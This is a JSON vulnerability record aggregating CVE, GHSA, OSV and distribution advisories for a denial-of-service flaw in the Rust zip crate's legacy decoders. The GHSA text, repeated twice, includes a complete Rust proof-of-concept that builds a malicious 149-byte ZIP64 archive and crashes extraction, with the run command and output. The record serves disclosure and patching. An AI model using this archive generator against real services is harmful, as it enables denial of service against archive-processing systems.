{"id":"CVE-2026-115907","aliases":["DEBIAN-CVE-2026-115907","EUVD-2026-109984","GHSA-9hj8-73fh-9963","SUSE-SU-2026:24641-1","SUSE-SU-2026:24658-1","SUSE-SU-2026:4930-1","SUSE-SU-2026:4931-1","UBUNTU-CVE-2026-115907","openSUSE-SU-2026:12307-1","openSUSE-SU-2026:22249-1"],"status":"published","title":"zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.0035,"percentile":0.29097,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400","CWE-789"],"published":"2026-10-26T16:32:15Z","modified":"2026-11-12T17:29:35Z","fixes":[{"ecosystem":"crates.io","package":"zip","fixed_in":["9.0.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.1.0"},{"fixed":"9.0.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"rust-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6.3-3","0.6.6-1","0.6.6-2","0.6.6-3","0.6.6-4","0.6.6-5","2.5.0-1","5.1.1+dfsg-1","5.1.1-1","5.1.1-2","5.1.1-3","5.1.1-4","9.0.5+ds-1","9.1.3+ds-1"]},{"source":"osv","ecosystem":"Debian:13","package":"rust-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.5.0-1","5.1.1+dfsg-1","5.1.1-1","5.1.1-2","5.1.1-3","5.1.1-4","9.0.5+ds-1","9.1.3+ds-1"]},{"source":"osv","ecosystem":"Debian:14","package":"rust-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.5.0-1","5.1.1+dfsg-1","5.1.1-1","5.1.1-2","5.1.1-3","5.1.1-4","9.0.5+ds-1","9.1.3+ds-1"]},{"source":"osv","ecosystem":"crates.io","package":"zip","ranges":[{"type":"SEMVER","events":[{"introduced":"5.1.0"},{"fixed":"9.0.0"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Micro 6.2","package":"rust-keylime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.10+12-160000.1.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"rust-keylime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.10+12-160000.1.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"rust-keylime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.10+12-160000.1.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Micro 5.4","package":"rust-keylime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.10+12-150400.3.22.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Micro 5.5","package":"rust-keylime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.10+12-150500.3.22.1"}]}],"bundled":5},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"rust-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.1.1-3","5.1.1+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"rust-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.5.0-1","5.1.1-2","5.1.1-3"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-uv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.13.6-1.1"}]}],"bundled":3},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"rust-keylime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.10+12-160000.1.1"}]}],"bundled":5}],"products":[{"vendor":"zip-rs","product":"zip2"}],"references":[{"url":"https://github.com/zip-rs/zip2/security/advisories/GHSA-9hj8-73fh-9963","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/zip-rs/zip2/pull/991","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/zip-rs/zip2/commit/8b4991288b79ad11cce201c2d785d5baa795bd3e","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/zip-rs/zip2/releases/tag/v9.0.0","tags":["x_refsource_MISC","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115907","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9hj8-73fh-9963"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/115xxx/CVE-2026-115907.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-115907","tags":["advisory"]},{"url":"https://github.com/zip-rs/zip2","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624641-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1287921","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-115905","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-115906","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-115907","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-115908","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-115909","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624658-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264930-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264931-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-115907","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-115907","tags":["report"]},{"url":"https://github.com/zip-rs/zip2/security/advisories/ghsa-9hj8-73fh-9963","tags":["report"]},{"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1152227","tags":["report"]},{"url":"https://security-tracker.debian.org/tracker/cve-2026-115907","tags":["report"]},{"url":"https://github.com/cveproject/cvelistv5/tree/main/cves/2026/115xxx/cve-2026-115907.json","tags":["report"]},{"url":"https://nvd.nist.gov/vuln/detail/cve-2026-115907","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-115907","title":"zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T16:32:15.373Z","modified":"2026-10-30T14:13:49.386Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-400","CWE-789"],"updated_at":"2026-11-02T14:20:01.618694Z"}],"euvd":[{"id":"EUVD-2026-109984","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T16:32:15Z","modified":"2026-10-30T14:13:49Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:59:06.607412Z"}],"ghsa":[{"id":"GHSA-9hj8-73fh-9963","title":"zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size","description":"### Summary\n\nA malicious 149-byte ZIP archive can cause a denial of service in applications that enable `legacy-zip` and use `ZipArchive::extract()`. An attacker-controlled ZIP64 uncompressed size triggers a `capacity overflow` panic in the Shrink decoder in optimized builds, potentially terminating the affected process.\n\n### Details\n\nWhen reading a Shrink-compressed entry, `ShrinkDecoder::read()` buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:\n\n```rust\nif !self.stream_read {\n    self.stream_read = true;\n    let mut compressed_bytes = Vec::new();\n    self.compressed_reader.read_to_end(\u0026mut compressed_bytes)?;\n    self.stream.reserve(self.uncompressed_size as usize);\n    hwunshrink(\n        \u0026compressed_bytes,\n        self.uncompressed_size as usize,\n        \u0026mut self.stream,\n    )?;\n}\n```\n\nIn version 8.6.0, this is located in [`src/legacy/shrink.rs`](https://github.com/zip-rs/zip2/blob/771dfc534d2614158af5497ea3dff4d4208d7db1/src/legacy/shrink.rs#L341-L352). The vulnerable legacy codecs are compiled when the `legacy-zip` Cargo feature is enabled.\n\n`self.uncompressed_size` is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of `u64::MAX`, while supplying only one byte of compressed data.\n\nThe reserve occurs before `hwunshrink()` can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic `capacity overflow` panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through `ZipArchive::extract()`.\n\nThe same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.\n\n### PoC\n\nCreate a new Cargo project with the following layout:\n\n```text\nzip2-legacy-poc/\n|-- Cargo.toml\n`-- src/\n    `-- main.rs\n```\n\nUse this `Cargo.toml`:\n\n```toml\n[package]\nname = \"zip2-legacy-poc\"\nversion = \"0.1.0\"\nedition = \"2024\"\npublish = false\n\n[dependencies]\ntempfile = \"3\"\nzip = { version = \"=8.6.0\", features = [\"legacy-zip\"] }\n```\n\nUse this `src/main.rs`:\n\n```rust\nuse std::fs::File;\nuse std::io::{Cursor, Write};\n\nfn push16(out: \u0026mut Vec\u003cu8\u003e, value: u16) {\n    out.extend_from_slice(\u0026value.to_le_bytes());\n}\n\nfn push32(out: \u0026mut Vec\u003cu8\u003e, value: u32) {\n    out.extend_from_slice(\u0026value.to_le_bytes());\n}\n\nfn push64(out: \u0026mut Vec\u003cu8\u003e, value: u64) {\n    out.extend_from_slice(\u0026value.to_le_bytes());\n}\n\nfn zip64_extra() -\u003e Vec\u003cu8\u003e {\n    let mut extra = Vec::new();\n    push16(\u0026mut extra, 0x0001);\n    push16(\u0026mut extra, 16);\n    push64(\u0026mut extra, u64::MAX);\n    push64(\u0026mut extra, 1);\n    extra\n}\n\nfn archive() -\u003e Vec\u003cu8\u003e {\n    let name = b\"entry\";\n    let extra = zip64_extra();\n    let mut out = Vec::new();\n\n    push32(\u0026mut out, 0x0403_4b50);\n    push16(\u0026mut out, 45);\n    push16(\u0026mut out, 0);\n    push16(\u0026mut out, 1); // Shrink compression.\n    push16(\u0026mut out, 0);\n    push16(\u0026mut out, 0);\n    push32(\u0026mut out, 0);\n    push32(\u0026mut out, u32::MAX);\n    push32(\u0026mut out, u32::MAX);\n    push16(\u0026mut out, name.len() as u16);\n    push16(\u0026mut out, extra.len() as u16);\n    out.extend_from_slice(name);\n    out.extend_from_slice(\u0026extra);\n    out.push(0);\n\n    let central_start = out.len() as u32;\n\n    push32(\u0026mut out, 0x0201_4b50);\n    push16(\u0026mut out, 45);\n    push16(\u0026mut out, 45);\n    push16(\u0026mut out, 0);\n    push16(\u0026mut out, 1); // Shrink compression.\n    push16(\u0026mut out, 0);\n    push16(\u0026mut out, 0);\n    push32(\u0026mut out, 0);\n    push32(\u0026mut out, u32::MAX);\n    push32(\u0026mut out, u32::MAX);\n    push16(\u0026mut out, name.len() as u16);\n    push16(\u0026mut out, extra.len() as u16);\n    push16(\u0026mut out, 0);\n    push16(\u0026mut out, 0);\n    push16(\u0026mut out, 0);\n    push32(\u0026mut out, 0);\n    push32(\u0026mut out, 0);\n    out.extend_from_slice(name);\n    out.extend_from_slice(\u0026extra);\n\n    let central_size = out.len() as u32 - central_start;\n\n    push32(\u0026mut out, 0x0605_4b50);\n    push16(\u0026mut out, 0);\n    push16(\u0026mut out, 0);\n    push16(\u0026mut out, 1);\n    push16(\u0026mut out, 1);\n    push32(\u0026mut out, central_size);\n    push32(\u0026mut out, central_start);\n    push16(\u0026mut out, 0);\n    out\n}\n\nfn main() -\u003e Result\u003c(), Box\u003cdyn std::error::Error\u003e\u003e {\n    let bytes = archive();\n    File::create(\"poc.zip\")?.write_all(\u0026bytes)?;\n\n    let mut archive = zip::ZipArchive::new(Cursor::new(bytes))?;\n    let entry = archive.by_index(0)?;\n\n    println!(\n        \"method={:?} declared_size={}\",\n        entry.compression(),\n        entry.size()\n    );\n\n    drop(entry);\n\n    let output = tempfile::tempdir()?;\n    archive.extract(output.path())?;\n    Ok(())\n}\n```\n\nRun the reproducer in release mode:\n\n```sh\ncd zip2-legacy-poc\nRUST_BACKTRACE=1 cargo run --release\n```\n\nObserved output with `zip` 8.6.0 on `x86_64-unknown-linux-gnu`:\n\n```text\nmethod=Shrink declared_size=18446744073709551615\n\nthread 'main' panicked at .../alloc/src/raw_vec/mod.rs:\ncapacity overflow\n```\n\nThe backtrace reaches the Shrink decompressor through `std::io::copy` and `ZipArchive::extract_internal()`. The process exits with status 101. The program also writes the generated 149-byte archive to `poc.zip` before triggering extraction.\n\n### Impact\n\nApplications that enable `legacy-zip` and pass attacker-supplied ZIP files to the following extraction API can be forced to panic before the compressed entry is validated or decoded. An unhandled panic may terminate the archive-processing process and cause a denial of service.\n\n- `zip::read::ZipArchive::extract`","status":"published","published":"2026-10-29T16:40:19Z","modified":"2026-10-29T16:40:21Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-789"],"updated_at":"2026-11-02T14:41:41.028239Z"}],"nvd":[{"id":"CVE-2026-115907","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T17:17:18.147Z","modified":"2026-10-30T15:16:45.727Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-400","CWE-789"],"updated_at":"2026-11-02T14:13:03.452847Z"}],"osv":[{"id":"CVE-2026-115907","title":"zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T16:32:15.373Z","modified":"2026-11-12T17:29:35.074780431Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-789"],"updated_at":"2026-11-11T17:46:38.239173Z"},{"id":"DEBIAN-CVE-2026-115907","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T17:17:18.147Z","modified":"2026-10-31T10:00:43.79883122Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:50.923612Z"},{"id":"GHSA-9hj8-73fh-9963","title":"zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size","description":"### Summary\n\nA malicious 149-byte ZIP archive can cause a denial of service in applications that enable `legacy-zip` and use `ZipArchive::extract()`. An attacker-controlled ZIP64 uncompressed size triggers a `capacity overflow` panic in the Shrink decoder in optimized builds, potentially terminating the affected process.\n\n### Details\n\nWhen reading a Shrink-compressed entry, `ShrinkDecoder::read()` buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:\n\n```rust\nif !self.stream_read {\n    self.stream_read = true;\n    let mut compressed_bytes = Vec::new();\n    self.compressed_reader.read_to_end(\u0026mut compressed_bytes)?;\n    self.stream.reserve(self.uncompressed_size as usize);\n    hwunshrink(\n        \u0026compressed_bytes,\n        self.uncompressed_size as usize,\n        \u0026mut self.stream,\n    )?;\n}\n```\n\nIn version 8.6.0, this is located in [`src/legacy/shrink.rs`](https://github.com/zip-rs/zip2/blob/771dfc534d2614158af5497ea3dff4d4208d7db1/src/legacy/shrink.rs#L341-L352). The vulnerable legacy codecs are compiled when the `legacy-zip` Cargo feature is enabled.\n\n`self.uncompressed_size` is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of `u64::MAX`, while supplying only one byte of compressed data.\n\nThe reserve occurs before `hwunshrink()` can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic `capacity overflow` panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through `ZipArchive::extract()`.\n\nThe same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.\n\n### PoC\n\nCreate a new Cargo project with the following layout:\n\n```text\nzip2-legacy-poc/\n|-- Cargo.toml\n`-- src/\n    `-- main.rs\n```\n\nUse this `Cargo.toml`:\n\n```toml\n[package]\nname = \"zip2-legacy-poc\"\nversion = \"0.1.0\"\nedition = \"2024\"\npublish = false\n\n[dependencies]\ntempfile = \"3\"\nzip = { version = \"=8.6.0\", features = [\"legacy-zip\"] }\n```\n\nUse this `src/main.rs`:\n\n```rust\nuse std::fs::File;\nuse std::io::{Cursor, Write};\n\nfn push16(out: \u0026mut Vec\u003cu8\u003e, value: u16) {\n    out.extend_from_slice(\u0026value.to_le_bytes());\n}\n\nfn push32(out: \u0026mut Vec\u003cu8\u003e, value: u32) {\n    out.extend_from_slice(\u0026value.to_le_bytes());\n}\n\nfn push64(out: \u0026mut Vec\u003cu8\u003e, value: u64) {\n    out.extend_from_slice(\u0026value.to_le_bytes());\n}\n\nfn zip64_extra() -\u003e Vec\u003cu8\u003e {\n    let mut extra = Vec::new();\n    push16(\u0026mut extra, 0x0001);\n    push16(\u0026mut extra, 16);\n    push64(\u0026mut extra, u64::MAX);\n    push64(\u0026mut extra, 1);\n    extra\n}\n\nfn archive() -\u003e Vec\u003cu8\u003e {\n    let name = b\"entry\";\n    let extra = zip64_extra();\n    let mut out = Vec::new();\n\n    push32(\u0026mut out, 0x0403_4b50);\n    push16(\u0026mut out, 45);\n    push16(\u0026mut out, 0);\n    push16(\u0026mut out, 1); // Shrink compression.\n    push16(\u0026mut out, 0);\n    push16(\u0026mut out, 0);\n    push32(\u0026mut out, 0);\n    push32(\u0026mut out, u32::MAX);\n    push32(\u0026mut out, u32::MAX);\n    push16(\u0026mut out, name.len() as u16);\n    push16(\u0026mut out, extra.len() as u16);\n    out.extend_from_slice(name);\n    out.extend_from_slice(\u0026extra);\n    out.push(0);\n\n    let central_start = out.len() as u32;\n\n    push32(\u0026mut out, 0x0201_4b50);\n    push16(\u0026mut out, 45);\n    push16(\u0026mut out, 45);\n    push16(\u0026mut out, 0);\n    push16(\u0026mut out, 1); // Shrink compression.\n    push16(\u0026mut out, 0);\n    push16(\u0026mut out, 0);\n    push32(\u0026mut out, 0);\n    push32(\u0026mut out, u32::MAX);\n    push32(\u0026mut out, u32::MAX);\n    push16(\u0026mut out, name.len() as u16);\n    push16(\u0026mut out, extra.len() as u16);\n    push16(\u0026mut out, 0);\n    push16(\u0026mut out, 0);\n    push16(\u0026mut out, 0);\n    push32(\u0026mut out, 0);\n    push32(\u0026mut out, 0);\n    out.extend_from_slice(name);\n    out.extend_from_slice(\u0026extra);\n\n    let central_size = out.len() as u32 - central_start;\n\n    push32(\u0026mut out, 0x0605_4b50);\n    push16(\u0026mut out, 0);\n    push16(\u0026mut out, 0);\n    push16(\u0026mut out, 1);\n    push16(\u0026mut out, 1);\n    push32(\u0026mut out, central_size);\n    push32(\u0026mut out, central_start);\n    push16(\u0026mut out, 0);\n    out\n}\n\nfn main() -\u003e Result\u003c(), Box\u003cdyn std::error::Error\u003e\u003e {\n    let bytes = archive();\n    File::create(\"poc.zip\")?.write_all(\u0026bytes)?;\n\n    let mut archive = zip::ZipArchive::new(Cursor::new(bytes))?;\n    let entry = archive.by_index(0)?;\n\n    println!(\n        \"method={:?} declared_size={}\",\n        entry.compression(),\n        entry.size()\n    );\n\n    drop(entry);\n\n    let output = tempfile::tempdir()?;\n    archive.extract(output.path())?;\n    Ok(())\n}\n```\n\nRun the reproducer in release mode:\n\n```sh\ncd zip2-legacy-poc\nRUST_BACKTRACE=1 cargo run --release\n```\n\nObserved output with `zip` 8.6.0 on `x86_64-unknown-linux-gnu`:\n\n```text\nmethod=Shrink declared_size=18446744073709551615\n\nthread 'main' panicked at .../alloc/src/raw_vec/mod.rs:\ncapacity overflow\n```\n\nThe backtrace reaches the Shrink decompressor through `std::io::copy` and `ZipArchive::extract_internal()`. The process exits with status 101. The program also writes the generated 149-byte archive to `poc.zip` before triggering extraction.\n\n### Impact\n\nApplications that enable `legacy-zip` and pass attacker-supplied ZIP files to the following extraction API can be forced to panic before the compressed entry is validated or decoded. An unhandled panic may terminate the archive-processing process and cause a denial of service.\n\n- `zip::read::ZipArchive::extract`","status":"published","published":"2026-10-29T16:40:19Z","modified":"2026-10-29T17:00:04.177534981Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-789"],"updated_at":"2026-11-02T15:46:43.875515Z"},{"id":"UBUNTU-CVE-2026-115907","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T17:17:00Z","modified":"2026-11-04T20:03:34.642388688Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-04T21:44:25.758797Z"},{"id":"openSUSE-SU-2026:12307-1","title":"python313-uv-0.13.6-1.1 on GA media","description":"These are all security issues fixed in the python313-uv-0.13.6-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-27T00:00:00Z","modified":"2026-10-28T17:23:15.83317753Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:22249-1","title":"Security update for rust-keylime","description":"This update for rust-keylime fixes the following issue:\n\n- CVE-2026-115905: zip: security control bypass via parser differential between central directory and local headers\n  (bsc#1287921)\n- CVE-2026-115906: zip: authentication bypass in AES encrypted entries due to improper HMAC verification (bsc#1287921)\n- CVE-2026-115907: zip: denial of service via unbounded memory allocation in legacy decoders (bsc#1287921)\n- CVE-2026-115908: zip: path traversal via lexical symlink validation during extraction (bsc#1287921)\n- CVE-2026-115909: zip: denial of service via uncontrolled memory allocation on symlink targets (bsc#1287921)\n","status":"published","published":"2026-11-06T13:46:57Z","modified":"2026-11-11T17:23:13.169201446Z","updated_at":"2026-11-11T17:47:15.466074Z"},{"id":"SUSE-SU-2026:24641-1","title":"Security update for rust-keylime","description":"This update for rust-keylime fixes the following issue:\n\n- CVE-2026-115905: zip: security control bypass via parser differential between central directory and local headers\n  (bsc#1287921)\n- CVE-2026-115906: zip: authentication bypass in AES encrypted entries due to improper HMAC verification (bsc#1287921)\n- CVE-2026-115907: zip: denial of service via unbounded memory allocation in legacy decoders (bsc#1287921)\n- CVE-2026-115908: zip: path traversal via lexical symlink validation during extraction (bsc#1287921)\n- CVE-2026-115909: zip: denial of service via uncontrolled memory allocation on symlink targets (bsc#1287921)\n","status":"published","published":"2026-11-06T13:46:08Z","modified":"2026-11-12T17:23:19.565102054Z","updated_at":"2026-11-12T18:02:05.26944Z"},{"id":"SUSE-SU-2026:24658-1","title":"Security update for rust-keylime","description":"This update for rust-keylime fixes the following issue:\n\n- CVE-2026-115905: zip: security control bypass via parser differential between central directory and local headers\n  (bsc#1287921)\n- CVE-2026-115906: zip: authentication bypass in AES encrypted entries due to improper HMAC verification (bsc#1287921)\n- CVE-2026-115907: zip: denial of service via unbounded memory allocation in legacy decoders (bsc#1287921)\n- CVE-2026-115908: zip: path traversal via lexical symlink validation during extraction (bsc#1287921)\n- CVE-2026-115909: zip: denial of service via uncontrolled memory allocation on symlink targets (bsc#1287921)\n","status":"published","published":"2026-11-06T13:46:08Z","modified":"2026-11-12T17:23:20.404549087Z","updated_at":"2026-11-12T18:02:05.26944Z"},{"id":"SUSE-SU-2026:4930-1","title":"Security update for rust-keylime","description":"This update for rust-keylime fixes the following issue:\n\n- CVE-2026-115905: zip: security control bypass via parser differential between central directory and local headers\n  (bsc#1287921)\n- CVE-2026-115906: zip: authentication bypass in AES encrypted entries due to improper HMAC verification (bsc#1287921)\n- CVE-2026-115907: zip: denial of service via unbounded memory allocation in legacy decoders (bsc#1287921)\n- CVE-2026-115908: zip: path traversal via lexical symlink validation during extraction (bsc#1287921)\n- CVE-2026-115909: zip: denial of service via uncontrolled memory allocation on symlink targets (bsc#1287921)\n\nChanges for rust-keylime:\n\n- Update to version 0.2.10+12:\n * log Agent UUID at push agent startup\n * Limit actix-web workers\n * Fix clippy needless_late_init warnings\n * Unwrap OCTET STRING wrapped EK certificates\n * build(deps): bump rand from 0.9.4 to 0.10.1\n * build(deps): bump glob from 0.3.3 to 0.3.4\n * build(deps): bump reqwest from 0.13.3 to 0.13.4\n * Check shutdown marker inside ml_extend loop\n * Fix clippy useless_borrows_in_formatting warnings\n * build(deps): bump tokio from 1.52.2 to 1.53.1\n * Fix payload key upgrade regression by falling back to mTLS key\n * Accept any RSA key size for payload encryption\n * Bump version to 0.2.10\n * keylime: use runtime OpenSSL algorithm detection instead of compile-time symbols\n","status":"published","published":"2026-10-29T08:53:34Z","modified":"2026-10-31T18:00:03.940330945Z","updated_at":"2026-11-02T15:54:05.838224Z"},{"id":"SUSE-SU-2026:4931-1","title":"Security update for rust-keylime","description":"This update for rust-keylime fixes the following issue:\n\n- CVE-2026-115905: zip: security control bypass via parser differential between central directory and local headers\n  (bsc#1287921)\n- CVE-2026-115906: zip: authentication bypass in AES encrypted entries due to improper HMAC verification (bsc#1287921)\n- CVE-2026-115907: zip: denial of service via unbounded memory allocation in legacy decoders (bsc#1287921)\n- CVE-2026-115908: zip: path traversal via lexical symlink validation during extraction (bsc#1287921)\n- CVE-2026-115909: zip: denial of service via uncontrolled memory allocation on symlink targets (bsc#1287921)\n\nChanges for rust-keylime:\n\n- Update to version 0.2.10+12:\n * log Agent UUID at push agent startup\n * Limit actix-web workers\n * Fix clippy needless_late_init warnings\n * Unwrap OCTET STRING wrapped EK certificates\n * build(deps): bump rand from 0.9.4 to 0.10.1\n * build(deps): bump glob from 0.3.3 to 0.3.4\n * build(deps): bump reqwest from 0.13.3 to 0.13.4\n * Check shutdown marker inside ml_extend loop\n * Fix clippy useless_borrows_in_formatting warnings\n * build(deps): bump tokio from 1.52.2 to 1.53.1\n * Fix payload key upgrade regression by falling back to mTLS key\n * Accept any RSA key size for payload encryption\n * Bump version to 0.2.10\n * keylime: use runtime 